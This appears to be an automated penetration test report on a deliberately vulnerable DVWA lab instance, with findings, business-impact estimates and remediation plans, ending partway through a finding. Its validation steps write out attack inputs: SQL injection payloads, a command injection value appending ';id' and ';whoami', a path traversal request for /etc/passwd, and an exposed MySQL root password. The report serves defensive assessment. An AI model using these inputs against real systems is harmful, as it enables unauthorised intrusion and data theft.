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Automated Penetration Test Report

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SCAN ENGINE
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TARGET(S)
http://172.17.0.3

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CRITICAL RISKS	HIGH SEVERITY	MEDIUM RISKS	LOW SEVERITY	TOTAL TARGETS	SECURITY SCORE

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01 Executive Summary

The engagement covered **1** target(s) (*http://172.17.0.3*) executed in **AGGRESSIVE** style. A total of **50** validated finding(s) were recorded, yielding an overall risk rating of **CRITICAL** (100/100).

SEVERITY	COUNT	%
CRITICAL	8	16.0%
HIGH	19	38.0%
MEDIUM	12	24.0%
LOW	11	22.0%
INFORMATIONAL	0	0.0%
TOTAL	**50**	**100%**

FINDINGS BY THEME

Application Security 39 findings

- CRITICAL Blind SQL Injection in /vulnerabilities/sqli_blind/
- CRITICAL Command Injection in /vulnerabilities/exec/
- CRITICAL Exposed DVWA Development Instance with Low Security Level

Software Lifecycle 4 findings

- CRITICAL Exposed Outdated MySQL Service
- MEDIUM Application Documentation Exposed
- MEDIUM Legacy/EOL software stack detected

Other 4 findings

- HIGH Insecure CAPTCHA in /vulnerabilities/captcha/
- HIGH Weak Password Storage Using MD5 Hashes
- MEDIUM PHPIDS path disclosure via error message

Configuration Management 3 findings

- HIGH PHP allow_url_include Enabled
- LOW Exposed setup page
- LOW Sensitive Setup and Configuration Path Disclosure

POSITIVE OBSERVATIONS

- 50 finding(s) independently verified by hands-on reproduction.
- 3 suspected issue(s) ruled out as false positives during validation.

REQUIRED IMMEDIATE ACTIONS

1. **Remediate Blind SQL Injection in /vulnerabilities/sqli_blind/** — Use parameterized queries/prepared statements. Never concatenate user input into SQL. Apply input validation and least-privilege database accounts.
2. **Remediate Command Injection in /vulnerabilities/exec/** — Avoid passing user input to OS commands. Use language-specific APIs instead of shell commands. Apply strict input validation with allowlists.
3. **Remediate Exposed DVWA Development Instance with Low Security Level**
4. **Remediate Exposed Outdated MySQL Service**
5. **Remediate Vertical IDOR allows standard users to access admin endpoints** — Implement proper authorization checks for every resource access. Use indirect references (UUIDs) instead of sequential IDs.
6. **Remediate Exposed MySQL Root Access over Network**

7. **Remediate Local File Inclusion / Remote Code Execution in fi endpoint** — Never use user input directly in file inclusion. Use allowlists for includable files. Disable remote file inclusion in PHP settings.

EXECUTIVE PENETRATION TESTING REPORT

Report ID: cold-matrix-moves
Target: http://172.17.0.3
Assessment Date: 2026-06-12
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EXECUTIVE OVERVIEW

Overall Assessment Summary

The assessment identified a **critical security posture** with multiple vulnerabilities that could allow attackers to compromise the web application, database, and underlying server environment. The most significant risks include command execution, SQL injection, exposed database administration access, insecure authorization controls, and an exposed intentionally vulnerable DVWA development instance configured at a low security level.

The current environment presents a high likelihood of successful exploitation if reachable by unauthorized users. Immediate containment and remediation are required to reduce business risk.

Security Posture Rating

CRITICAL (100/100) - Immediate Executive Action Required

Current State:
- ✅ Assessment scope and target ownership were clearly defined.
- ✅ High-risk issues were validated in a controlled manner before real-world exploitation.
- ✅ Remediation priorities are now clearly identified for executive decision-making.
- ❌ **Critical Gap:** Blind SQL Injection in `/vulnerabilities/sqli_blind/` could allow database extraction or modification.
- ❌ **Critical Gap:** Command Injection in `/vulnerabilities/exec/` could allow operating system command execution.
- ❌ **Critical Gap:** DVWA development instance is exposed with low security level enabled.
- ❌ **Critical Gap:** Outdated MySQL service is exposed over the network.
- ❌ **Critical Gap:** Standard users can access administrative endpoints through vertical IDOR.
- ❌ **Critical Gap:** MySQL root access is exposed over the network.
- ❌ **Critical Gap:** Local File Inclusion / Remote Code Execution risk exists in the `fi` endpoint.
- ❌ **Critical Gap:** MySQL `secure_file_priv` is unrestricted, enabling dangerous file read/write behavior when combined with privileged database access.

Key Business Risks

1. **Data Breach and Confidentiality Loss**
   SQL injection and exposed MySQL root access could allow unauthorized parties to access, modify, or delete sensitive business and customer data.
2. **Full Application or Server Compromise**
   Command injection, file inclusion with code execution impact, and unsafe database file write capabilities could allow attackers to take control of the application environment.
3. **Regulatory and Contractual Exposure**
   Weak access controls, exposed database services, and data extraction risks may create non-compliance exposure under privacy, payment, audit, and security governance frameworks.
4. **Operational Disruption**
   Attackers could disrupt service availability, alter application behavior, destroy records, or deploy malicious files requiring emergency response and recovery.

5. **Reputational Damage**
   A public compromise involving preventable vulnerabilities could erode customer trust, investor confidence, and partner assurance.

Immediate Action Required

Executive sponsorship is required to immediately isolate the exposed services, disable the vulnerable development environment, restrict database access, and remediate the command execution and SQL injection vulnerabilities. These actions should begin within **0–48 hours**.

BUSINESS IMPACT

Potential Financial Losses

Potential financial exposure is significant due to the combination of database exposure, command execution, weak authorization controls, and code execution risks.

COST CATEGORY	ESTIMATED EXPOSURE	BUSINESS RATIONALE
Incident response and forensic investigation	$250K – $2M	Emergency containment, forensic analysis, legal coordination, and recovery support
Legal and regulatory response	$500K – $10M	Breach counsel, notification obligations, regulator engagement, and litigation support
Regulatory fines and penalties	$500K – $25M	Potential privacy, payment, contractual, and audit-related penalties depending on affected data
Business disruption and recovery	$500K – $15M	Downtime, system restoration, data validation, and operational interruption
Customer notification and support	$250K – $5M	Customer communication, credit monitoring, support center surge, and partner assurance
Long-term reputation and revenue impact	$1M – $25M	Lost customers, delayed sales cycles, reduced market confidence, and increased insurance costs

Estimated Total Impact Range: $3M – $82M

Compliance Implications

Regulatory Frameworks at Risk:

FRAMEWORK	CURRENT STATUS	RISK LEVEL	SPECIFIC REQUIREMENT
GDPR	❌ At Risk	HIGH	Article 5(1)(f) security and confidentiality; Article 32 security of processing
PCI DSS	❌ At Risk	HIGH	Requirement 6 secure application development; Requirement 7 restrict access by business need; Requirement 8 identify and authenticate access; Requirement 11 regular security testing
SOC 2	❌ At Risk	HIGH	Security Criteria CC6 logical access controls; CC7 system operations and monitoring; CC8 change management

FRAMEWORK	CURRENT STATUS	RISK LEVEL	SPECIFIC REQUIREMENT
ISO 27001	❌ At Risk	HIGH	Annex A controls for access control, secure configuration, vulnerability management, and secure development
CCPA	❌ At Risk	HIGH	Reasonable security procedures and practices to protect personal information

Reputation Risks

A compromise of this environment could materially affect customer and stakeholder confidence. The presence of an exposed intentionally vulnerable development instance and remotely accessible database administration paths may be viewed as preventable control failures.

Potential reputation impacts include:
- Loss of customer trust due to perceived weak security governance.
- Increased scrutiny from partners, auditors, insurers, and regulators.
- Negative impact on sales cycles where security assurance is required.
- Reduced confidence from investors, board members, and executive stakeholders.
- Difficulty attracting and retaining security-conscious technical talent.

STRATEGIC RECOMMENDATIONS

Priority 1: Remediate Blind SQL Injection in /vulnerabilities/sqli_blind/ (Immediate: 0-7 Days)

Action:
- Remove or secure vulnerable SQL injection functionality.
- Implement parameterized queries and server-side input validation.
- Perform targeted retesting of the affected endpoint.
- Review related database query patterns for similar weaknesses.

Investment:
- Secure development effort: $25K - $75K
- Application security review and retesting: $15K - $40K
- Emergency change management and QA: $10K - $25K

Business Value:
Reduces the risk of unauthorized database extraction, data manipulation, breach notification, and regulatory exposure.

Risk Reduction: From CRITICAL to HIGH/MEDIUM for this attack path after verified remediation.

Priority 2: Remediate Command Injection in /vulnerabilities/exec/ (Immediate: 0-7 Days)

Action:
- Disable the vulnerable command execution functionality.
- Remove direct operating system command invocation where possible.
- Where unavoidable, implement strict allowlisting and controlled execution.
- Retest the endpoint to confirm command injection is no longer possible.

Investment:
- Emergency remediation engineering: $30K - $100K
- Secure architecture review: $20K - $50K
- Retesting and validation: $15K - $35K

Business Value:
Prevents attackers from executing server-side commands, deploying webshells, stealing files, or compromising the application

host.

Risk Reduction: From CRITICAL to MEDIUM/LOW for this attack path after verified remediation.

Priority 3: Remediate Exposed DVWA Development Instance with Low Security Level (Immediate: 0-48 Hours)

Action:

- Immediately remove the DVWA instance from any reachable environment.
- If required for training or testing, isolate it in a non-production lab network.
- Disable low security mode and prevent external access.
- Confirm no sensitive data, credentials, or production connectivity exists within the environment.

Investment:

- Infrastructure isolation/removal: $5K - $25K
- Network access control validation: $10K - $30K
- Governance update for development/test exposure: $10K - $25K

Business Value:

Eliminates a high-likelihood exploitation platform and reduces the probability of rapid compromise.

Risk Reduction: From CRITICAL to LOW once removed or fully isolated.

Priority 4: Remediate Exposed Outdated MySQL Service (Immediate: 0-7 Days)

Action:

- Restrict MySQL access to approved internal hosts only.
- Block external or unnecessary network access to TCP port 3306.
- Upgrade MySQL from outdated 5.5.x to a supported version.
- Enforce strong authentication and remove unnecessary accounts.

Investment:

- Database upgrade and compatibility testing: $50K - $150K
- Network access control changes: $10K - $40K
- Database hardening and credential review: $20K - $60K

Business Value:

Reduces direct database compromise risk and improves resilience against known weaknesses and credential-based attacks.

Risk Reduction: From CRITICAL to MEDIUM after network restriction and upgrade; LOW after full hardening and validation.

Priority 5: Remediate Vertical IDOR allows standard users to access admin endpoints (Immediate: 0-30 Days)

Action:

- Implement role-based access control checks on all administrative endpoints.
- Enforce server-side authorization for every privileged request.
- Review diagnostic and administrative pages for unnecessary exposure.
- Add regression testing for standard-user versus administrator access.

Investment:

- Authorization design and engineering: $40K - $120K
- QA and regression testing: $20K - $60K
- Access control review: $15K - $40K

Business Value:

Restores role separation, reduces insider and account misuse risk, and supports compliance with access control requirements.

Risk Reduction: From CRITICAL to MEDIUM/LOW after validated authorization enforcement.

Total Investment Required: $295K - $1.02M

Risk Reduction: From current score **100/100 CRITICAL** to target score **≤35/100 MEDIUM to LOW**, assuming verified remediation of critical findings and prioritized high-severity remediation.

RISK DASHBOARD

Vulnerability Distribution

SEVERITY LEVEL	COUNT	PERCENTAGE	STATUS
CRITICAL	8	16.0%	Requires Immediate Action
HIGH	19	38.0%	Requires Accelerated Remediation
MEDIUM	12	24.0%	Requires Planned Remediation
LOW	11	22.0%	Requires Monitoring and Backlog Remediation
INFORMATIONAL	0	0.0%	No Informational Findings Reported
TOTAL	**50**	**100%**	

Risk Reduction Trajectory

Projected enterprise risk reduction depends on executive prioritization, remediation quality, and successful validation testing.

STAGE	TARGET TIMELINE	EXPECTED RISK SCORE	EXPECTED STATE
Current	Day 0	100/100 CRITICAL	Multiple high-likelihood compromise paths exist
After Phase 1	0–7 days	75/100 HIGH	Most urgent exposed services and command execution paths contained
After Phase 2	8–30 days	55/100 HIGH/MEDIUM	High-priority application and database risks remediated
After Phase 3	31–90 days	35/100 MEDIUM	Systemic weaknesses addressed and validation completed
Target	90+ days	≤25/100 LOW/MEDIUM	Security controls matured and recurring testing established

Remediation Timeline

Phase 1 (0–7 days):
- Remove or isolate the exposed DVWA development instance.
- Disable or remediate command injection functionality.
- Restrict MySQL network exposure.
- Remove remote MySQL root access.
- Begin SQL injection remediation.

Phase 2 (8–30 days):
- Complete SQL injection remediation and retesting.
- Implement role-based access control for administrative endpoints.
- Upgrade or migrate the outdated MySQL service.
- Harden MySQL configuration, including `secure_file_priv`.
- Validate no webshell or unauthorized files were written.

Phase 3 (31–90 days):
- Address remaining high and medium vulnerabilities.
- Review application-wide input validation controls.
- Review authentication and authorization design.
- Implement automated regression testing for injection and access control issues.
- Conduct formal remediation validation testing.

Phase 4 (90+ days):
- Establish secure development lifecycle improvements.
- Implement recurring penetration testing and vulnerability management.
- Improve database hardening standards.
- Maintain executive-level security metrics and risk reporting.
- Conduct periodic tabletop exercises for breach readiness.

NEXT STEPS

Immediate Actions (0-48 Hours)

1. **Isolate or remove the DVWA instance**
   Deliverable: Written confirmation that the vulnerable development instance is no longer reachable by unauthorized users.
2. **Restrict MySQL network access**
   Deliverable: Firewall or access control evidence showing TCP port 3306 is limited to approved hosts only.
3. **Disable remote MySQL root access**
   Deliverable: Database account review confirming remote root access is removed or blocked.
4. **Disable vulnerable command execution functionality**
   Deliverable: Change record and validation evidence showing command injection is no longer exploitable.
5. **Launch incident-style review of possible exposure**
   Deliverable: Executive summary confirming whether unauthorized access indicators, suspicious files, or database anomalies were identified.

30-Day Action Plan

Week 1: Containment and Emergency Remediation
- Remove or isolate DVWA.
- Restrict database network exposure.
- Disable remote root database access.
- Patch or disable command injection endpoint.
- Begin SQL injection remediation.

Week 2: Application and Database Hardening
- Complete SQL injection fix.
- Harden MySQL configuration, including `secure_file_priv`.
- Start access control remediation for administrative endpoints.
- Begin MySQL upgrade planning and compatibility testing.

Week 3: Validation and Role-Based Access Control
- Complete vertical IDOR remediation.
- Validate all administrative endpoints enforce role-based access.
- Complete initial retesting of critical findings.
- Review for related input validation weaknesses.

Week 4: Executive Validation and Risk Acceptance
- Complete remediation validation testing.
- Present updated risk score and residual risk to executives.

- Document any accepted risks with business owner approval.
- Finalize 90-day security improvement roadmap.

Long-Term Security Roadmap (90+ Days)

Quarter 1: Control Stabilization
- Complete remediation of all critical and high vulnerabilities.
- Establish secure configuration baselines for databases and web applications.
- Implement routine vulnerability scanning and remediation tracking.

Quarter 2: Secure Development Maturity
- Introduce secure coding standards for injection prevention and access control.
- Add security testing to development and release pipelines.
- Train engineering teams on input validation, authentication, and authorization risks.

Quarter 3: Governance and Assurance
- Conduct follow-up penetration testing.
- Map remediation evidence to compliance requirements.
- Improve executive risk dashboards and board-level security reporting.

Quarter 4: Continuous Improvement
- Mature application security program metrics.
- Conduct incident response tabletop exercises.
- Review architecture for segmentation, least privilege, and defense-in-depth.

ROI Summary

The proposed remediation investment of approximately **$295K – $1.02M** is materially lower than the estimated potential business impact range of **$3M – $82M**. By addressing the critical findings first, the organization can reduce the most likely breach paths, lower regulatory exposure, improve customer confidence, and avoid costly emergency response scenarios.

CONCLUSION

The assessed target is currently operating with a **CRITICAL security risk rating of 100/100**. The findings show multiple direct compromise paths involving application injection, operating system command execution, exposed database services, remote database administration, and insufficient authorization controls.

The organization should treat this as an urgent business risk, not only a technical issue. Immediate containment within the first 48 hours, followed by structured remediation over 30 days, will materially reduce the likelihood of data breach, service disruption, regulatory exposure, and reputation damage.

With executive sponsorship, focused investment, and verified remediation, the risk posture can be reduced from **CRITICAL** to a manageable level within 90 days. Continued governance, secure development practices, and recurring validation will be required to sustain that improvement.

Key Success Factors:
- Executive ownership and rapid decision-making.
- Immediate isolation of exposed vulnerable services.
- Verified remediation, not just configuration changes.
- Strong role-based access control enforcement.
- Database hardening and removal of unnecessary remote administration.
- Ongoing security testing and vulnerability management.

Expected Outcomes:
- Reduced likelihood of application and database compromise.
- Improved protection of sensitive business and customer data.
- Lower regulatory and contractual exposure.
- Stronger access control and system hardening posture.
- Clear board-level visibility into residual risk and remediation progress.

Recommendation:
Proceed immediately with emergency containment and remediation of the eight critical findings, beginning with DVWA isolation, command injection remediation, SQL injection remediation, MySQL exposure reduction, and removal of remote MySQL root access. Executive review should occur within 7 days to confirm progress and approve the 30-day remediation plan.

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Next Review Date: 90 days post-remediation

02 Scope and Methodology

SCOPE

#	TARGET	HOST/IP	TYPE	DESCRIPTION
01	http://172.17.0.3		Application	External-facing target.

METHODOLOGICAL PHASES

PHASE	ACTIVITIES
Passive Reconnaissance	OSINT, DNS, WHOIS, certificate transparency log review.
Active Scanning	TCP/UDP port scanning, service and operating system fingerprinting.
Web Application Testing	Injection, XSS, SSRF, CORS, access-control and session testing.
Exploitation	Credential attacks, CVE exploitation, configuration abuse.
Verification	Independent reproduction of every recorded finding.
Cleanup	Removal of test artefacts and rotation of credentials issued for the engagement.

Methodology

Testing Approach

This penetration test followed industry-standard methodologies including:

- **OWASP Testing Guide v4.2** for web application testing
- **PTES (Penetration Testing Execution Standard)** for overall methodology
- **NIST SP 800-115** Technical Guide to Information Security Testing

Phases

1. **Reconnaissance**: Passive and active information gathering
2. **Scanning**: Port scanning, service enumeration, vulnerability scanning
3. **Exploitation**: Attempting to exploit identified vulnerabilities
4. **Post-Exploitation**: Privilege escalation, lateral movement, persistence
5. **Reporting**: Documentation of findings and recommendations

Tools Used

- **Network scanning**: Nmap, Masscan
- **Web testing**: Nikto, SQLMap, Nuclei, Gobuster, FFuF, Feroxbuster
- **Exploitation**: Hydra, custom Python scripts
- **Browser automation**: Playwright, browser-use
- **Analysis**: Python, Bash scripting

Scope and Limitations

Testing was performed within the defined scope and time constraints.
Only authorized targets were tested. No denial of service testing was performed

unless explicitly authorized.

03 Risk Rating Methodology

Severity is assigned using the CVSS v3.1 standard. When a single component carries multiple CVEs, the highest-rated finding is shown and additional references are listed in the finding card.

SEVERITY	CVSS RANGE	DESCRIPTION	RECOMMENDED REMEDIATION
CRITICAL	9.0 – 10.0	Severe risk to the organisation; immediate action required.	0–7 days
HIGH	7.0 – 8.9	Significant exposure; remediation within the current sprint.	0–30 days
MEDIUM	4.0 – 6.9	Moderate exposure; remediate during the next maintenance window.	30–90 days
LOW	0.1 – 3.9	Minor exposure; address in routine hardening.	90–180 days
INFORMATIONAL	0.0	No direct security impact; recorded for awareness.	Best-effort

04 Consolidated Risk Summary

BY TARGET

TARGET	RISK RATING	TOTAL	CRITICAL	HIGH	MEDIUM	LOW
http://172.17.0.3	CRITICAL (100/100)	50	8	19	12	11

BY CATEGORY

CATEGORY	CRITICAL	HIGH	MEDIUM	LOW	TOTAL
Application Security	7	16	9	7	39
Software Lifecycle	1	0	2	1	4
Other	0	2	1	1	4
Configuration Management	0	1	0	2	3

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Critical Findings

CRITICAL VULN-cold-mat-0006

Blind SQL Injection in /vulnerabilities/sqli_blind/

CWE: CWE-89 | CVSS: 9.8 | AV: SQLi | Asset: http://172.17.0.3/vulnerabilities/sqli_blind/ on port 80 | Target: http://172.17.0.3 | OWASP: A03:2021 – Injection

DESCRIPTION

The blind SQL Injection module at /vulnerabilities/sqli_blind/ was confirmed vulnerable. An attacker can infer database contents through boolean or timing-based responses without direct query output.

IMPACT

Attackers can extract or modify database records by inferring values through application behavior, potentially exposing customer, credential, or operational data. A successful attack could lead to full application compromise if database privileges are excessive.

DIMENSION	RATING
Confidentiality	High
Integrity	High
Availability	Low
Compliance	High

EVIDENCE

```
VULNERABILITY: [CRITICAL] SQL Injection (Blind) in vulnerabilities/sqli_blind/ on port 80
```

REMEDIATION

IMMEDIATE (24-48H)

Disable or restrict access to the vulnerable endpoint and increase DVWA/application security level while code is fixed.

SHORT-TERM (1-2 WEEKS)

Replace dynamic SQL construction with prepared statements and enforce strict server-side validation for all query parameters.

LONG-TERM (1-3 MONTHS)

Adopt secure coding standards, automated SAST/DAST testing, and least-privilege database access across all application modules.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/vulnerabilities/sqli_blind/?id=1&Submit=Submit'
$ curl -i 'http://<TARGET_DOMAIN>/vulnerabilities/sqli_blind/?id=1%27%20AND%201=1--%20&Submit=Submit'
$ curl -i 'http://<TARGET_DOMAIN>/vulnerabilities/sqli_blind/?id=1%27%20AND%201=2--%20&Submit=Submit'
```

CRITICAL VULN-cold-mat-0007

Command Injection in /vulnerabilities/exec/

CWE: CWE-78 | CVSS: 9.8 | AV: Command Injection | Asset: http://172.17.0.3/vulnerabilities/exec/ on port 80 | Target: http://172.17.0.3 | OWASP: A03:2021 – Injection

DESCRIPTION

The authenticated DVWA command injection endpoint /vulnerabilities/exec/ was accessible with security level low, exposing functionality designed to execute OS command injection attacks. **Also includes:** Webshell Deployment via DVWA Command Injection

IMPACT

Attackers can execute operating system commands in the web server context, enabling data theft, webshell deployment, lateral movement, or full host compromise. This can result in complete loss of confidentiality, integrity, and availability for the application server.

DIMENSION	RATING
Confidentiality	High
Integrity	Medium
Availability	Low
Compliance	High

EVIDENCE

```
VULNERABILITY: [CRITICAL] Command Injection in vulnerabilities/exec/ on port 80
```

exploitation_evidence.txt exploit_output 1,245 B

REMEDIATION

IMMEDIATE (24-48H)

Disable the command execution feature or block access to the endpoint at the web server/WAF immediately.

SHORT-TERM (1-2 WEEKS)

Remove shell invocation, use safe language APIs, and enforce strict allowlisted input validation.

LONG-TERM (1-3 MONTHS)

Implement secure design reviews for features invoking system resources and run the web service under a locked-down, least-privilege account.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/vulnerabilities/exec/'
$ curl -i -G --data-urlencode 'ip=127.0.0.1;id' --data 'Submit=Submit' 'http://<TARGET_DOMAIN>/vulnerabilities/exec/'
$ curl -i -G --data-urlencode 'ip=127.0.0.1;whoami' --data 'Submit=Submit'
'http://<TARGET_DOMAIN>/vulnerabilities/exec/'
```

CRITICAL VULN-cold-mat-0024

Exposed DVWA Development Instance with Low Security Level

AV: Exposed vulnerable application | Asset: http://172.17.0.3 | Target: http://172.17.0.3

DESCRIPTION

DVWA v1.10 Development is publicly exposed on the target with the security level set to low. This intentionally enables multiple vulnerable modules and significantly increases the likelihood of successful exploitation, including injection, XSS, CSRF, file upload, and file inclusion attacks. **Also includes:** Default Valid Credentials for Web Login, Default DVWA Credentials and Low Security Configuration

IMPACT

An exposed intentionally vulnerable DVWA instance gives attackers a ready-made exploitation environment against the host and database. If reachable beyond a lab network, it can be used to compromise infrastructure and expose credentials or sensitive data.

DIMENSION	RATING
Confidentiality	High

DIMENSION	RATING
Integrity	Medium
Availability	Low
Compliance	High

EVIDENCE

DVWA `v1.10 *Development*`; DVWA security level: `low`; Cookies observed: `security=low`

REMEDIATION

IMMEDIATE (24-48H)

Remove the instance from public access or restrict it to an isolated lab subnet/VPN immediately.

SHORT-TERM (1-2 WEEKS)

Set the application security level to high/impossible, remove default credentials, and require strong authentication.

LONG-TERM (1-3 MONTHS)

Maintain separate isolated training environments and enforce deployment controls preventing test applications from reaching production networks.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/'
$ curl -s 'http://<TARGET_DOMAIN>/' | grep -i 'dvwa'
$ curl -i 'http://<TARGET_DOMAIN>/security.php'
```

CRITICAL VULN-cold-mat-0031

Exposed Outdated MySQL Service

AV: Exposed database service | Asset: 172.17.0.3:3306/tcp mysql | Target: http://172.17.0.3

DESCRIPTION

A MySQL database service is exposed on the target at TCP port 3306 and is running an outdated MySQL 5.5.x version. Exposed database services increase the risk of unauthorized access, brute-force attacks, data theft, and exploitation of known vulnerabilities affecting obsolete versions. **Also includes:** Outdated MySQL Version, MySQL Remote Denial of Service via Integer Overflow

IMPACT

A remotely exposed outdated MySQL service can be brute-forced or attacked using known vulnerabilities, risking direct database compromise. Business impact includes data theft, service disruption, and regulatory exposure from unauthorized database access.

DIMENSION	RATING
Confidentiality	High
Integrity	High
Availability	Low
Compliance	High

EVIDENCE

3306/tcp mysql (MySQL 5.5.54-0+deb8u1-log)

REMEDIATION

IMMEDIATE (24-48H)

Block external access to TCP/3306 using firewall rules and restrict MySQL to trusted application hosts only.

SHORT-TERM (1-2 WEEKS)

Upgrade MySQL to a supported version and disable remote root/database accounts.

LONG-TERM (1-3 MONTHS)

Place databases on private network segments with managed patching, monitoring, and centralized credential governance.

VALIDATION STEPS

```
$ nmap -sV -p 3306 <TARGET_DOMAIN>
$ nc -vz <TARGET_DOMAIN> 3306
$ mysql -h <TARGET_DOMAIN> -P 3306 -u root -e 'SELECT VERSION();'
```

CRITICAL VULN-cold-mat-0068

Vertical IDOR allows standard users to access admin endpoints

CWE: CWE-639 | CVSS: 6.5 | AV: IDOR / authorization bypass

Asset: http://172.17.0.3/setup.php, http://172.17.0.3/security.php, http://172.17.0.3/phpinfo.php | Target: http://172.17.0.3

OWASP: A01:2021 – Broken Access Control

DESCRIPTION

A standard authenticated user can access administrative endpoints without role-based access control. This allows non-admin users to access sensitive administrative functions and information disclosure pages such as setup, security configuration, and PHP information.

IMPACT

Standard users can access administrative functions and sensitive diagnostic pages, enabling configuration changes or disclosure that supports deeper compromise. This undermines role separation and can turn a low-privileged account into an administrative foothold.

DIMENSION	RATING
Confidentiality	High
Integrity	Medium
Availability	Low
Compliance	High

EVIDENCE

```
Standard user gordonb accessed /setup.php, /security.php, /phpinfo.php
```

idor_vertical_poc.txt exploit_output 741 B

REMEDIATION

IMMEDIATE (24-48H)

Restrict administrative endpoints to admin users or block them at the web server until authorization checks are implemented.

SHORT-TERM (1-2 WEEKS)

Add server-side role checks to every privileged route and test access with standard-user sessions.

LONG-TERM (1-3 MONTHS)

Implement a centralized authorization framework with deny-by-default access control and automated authorization regression tests.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/setup.php'
$ curl -i 'http://<TARGET_DOMAIN>/security.php'
$ curl -i 'http://<TARGET_DOMAIN>/phpinfo.php'
```

CRITICAL VULN-cold-mat-0082

Exposed MySQL Root Access over Network

AV: Weak credentials / exposed database service | Asset: 172.17.0.3:3306 | Target: http://172.17.0.3

DESCRIPTION

The MySQL service was reachable over the network and accepted root credentials. MySQL was bound to all interfaces and root@% was present, allowing remote administrative database access. **Also includes:** Exposed MySQL Database Service, Default or Weak MySQL Root Credentials

IMPACT

Remote root database access allows attackers to read, alter, or destroy all database contents and potentially write files to the server. Compromise of this account can quickly escalate to full application and host compromise.

DIMENSION	RATING
Confidentiality	High
Integrity	High
Availability	Low
Compliance	High

EVIDENCE

```
mysql://root:p@ssw0rd@172.17.0.3:3306; MySQL bind address reported as 0.0.0.0; root@% present
```

REMEDIATION

IMMEDIATE (24-48H)

Disable remote root login and block TCP/3306 from untrusted networks immediately.

SHORT-TERM (1-2 WEEKS)

Rotate database credentials, remove root@% accounts, and create least-privilege application users.

LONG-TERM (1-3 MONTHS)

Adopt secrets management, database access auditing, and private-only database architecture.

VALIDATION STEPS

```
$ nmap -sV -p 3306 <TARGET_DOMAIN>
$ mysql -h <TARGET_DOMAIN> -P 3306 -u root -e 'SELECT USER(), CURRENT_USER();'
$ mysql -h <TARGET_DOMAIN> -P 3306 -u root -e 'SELECT user,host FROM mysql.user;'
```

CRITICAL VULN-cold-mat-0085

Local File Inclusion / Remote Code Execution in fi endpoint

CWE: CWE-98 | CVSS: 7.5 | AV: Local File Inclusion / Remote Code Execution | Asset: http://172.17.0.3:80 fi endpoint | Target: http://172.17.0.3

DESCRIPTION

A local file inclusion vulnerability with remote code execution impact was confirmed in the fi endpoint on the target web service. An attacker could include arbitrary files and potentially execute code on the server, leading to compromise of the web application and underlying host context. **Also includes:** Remote File Inclusion via allow_url_include in /vulnerabilities/fi/, Server-Side Request Forgery via file:// wrapper in page parameter, Remote Code Execution via

php://input wrapper, Local File Inclusion / Remote File Inclusion, Database Credentials Exposed via File Inclusion, Local File Inclusion, LFI and PHP Wrapper RCE in file inclusion endpoint, PHP stream wrapper abuse in page parameter

IMPACT

File inclusion with code execution impact can allow attackers to read sensitive files and execute server-side code. This may result in full web application compromise and access to underlying system resources.

DIMENSION	RATING
Confidentiality	High
Integrity	High
Availability	Low
Compliance	High

EVIDENCE

```
VULNERABILITY: [CRITICAL] Local File Inclusion / Remote Code Execution in fi endpoint (CVE: N/A) on port 80
```

REMEDIATION

IMMEDIATE (24-48H)

Disable the vulnerable file inclusion endpoint or restrict page parameters to known-safe values immediately.

SHORT-TERM (1-2 WEEKS)

Implement an allowlist mapping for includable files and disable allow_url_include in PHP.

LONG-TERM (1-3 MONTHS)

Refactor file routing to avoid dynamic includes and add automated tests for path traversal and file inclusion weaknesses.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/vulnerabilities/fi/?page=include.php'
$ curl -i 'http://<TARGET_DOMAIN>/vulnerabilities/fi/?page=../../../../etc/passwd'
$ curl -s 'http://<TARGET_DOMAIN>/php.ini' | grep -i 'allow_url_include'
```

CRITICAL VULN-cold-mat-0080

Unrestricted MySQL secure_file_priv Configuration

AV: Database misconfiguration | Asset: MySQL secure_file_priv on 172.17.0.3:3306 | Target: http://172.17.0.3

DESCRIPTION

The MySQL secure_file_priv setting was confirmed to be empty, allowing unrestricted file import/export paths. This enabled sensitive file extraction and writing PHP webshells into the webroot when combined with database privileges. **Also includes:** MySQL INTO OUTFILE Webshell Deployment, MySQL LOAD_FILE Sensitive File Disclosure

IMPACT

An unrestricted secure_file_priv allows privileged database users to read from or write to arbitrary filesystem locations. Combined with webroot access, this can enable sensitive file theft or webshell deployment.

DIMENSION	RATING
Confidentiality	High
Integrity	High
Availability	Low
Compliance	High

EVIDENCE

```
Confirmed secure_file_priv is empty (unrestricted)
```

exploitation_notes.txt exploit_output 6,033 B

REMEDIATION

IMMEDIATE (24-48H)

Set secure_file_priv to a dedicated non-web directory or disable file import/export and restart MySQL.

SHORT-TERM (1-2 WEEKS)

Remove FILE privilege from application and non-administrative database users.

LONG-TERM (1-3 MONTHS)

Harden database configuration baselines and continuously audit dangerous privileges and file access settings.

VALIDATION STEPS

```
$ mysql -h <TARGET_DOMAIN> -u root -e 'SHOW VARIABLES LIKE "secure_file_priv";'
$ mysql -h <TARGET_DOMAIN> -u root -e 'SHOW GRANTS FOR CURRENT_USER();'
$ mysql -h <TARGET_DOMAIN> -u root -e 'SELECT @@secure_file_priv;'
```

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High Severity Findings

HIGH VULN-cold-mat-0009

Reflected XSS in /vulnerabilities/xss_r/

CWE: CWE-79 | CVSS: 6.1 | AV: XSS | Asset: http://172.17.0.3/vulnerabilities/xss_r/ on port 80 | Target: http://172.17.0.3 | OWASP: A03:2021 – Injection

DESCRIPTION

The reflected XSS module at /vulnerabilities/xss_r/ was confirmed vulnerable. An attacker can craft a malicious link that executes JavaScript in a victim's browser when visited.

IMPACT

Attackers can craft links that execute JavaScript in authenticated users' browsers, enabling session theft, phishing, or unauthorized actions. This can lead to account compromise and reputational harm.

DIMENSION	RATING
Confidentiality	High
Integrity	Medium
Availability	Low
Compliance	High

EVIDENCE

```
VULNERABILITY: [HIGH] Reflected XSS in vulnerabilities/xss_r/ on port 80
```

REMEDIATION

IMMEDIATE (24-48H)

Block or sanitize script-like input on the vulnerable parameter and deploy a restrictive temporary CSP.

SHORT-TERM (1-2 WEEKS)

Apply context-aware output encoding and validate input server-side for all reflected values.

LONG-TERM (1-3 MONTHS)

Standardize secure templating, CSP enforcement, and automated XSS testing in the development pipeline.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/vulnerabilities/xss_r/'
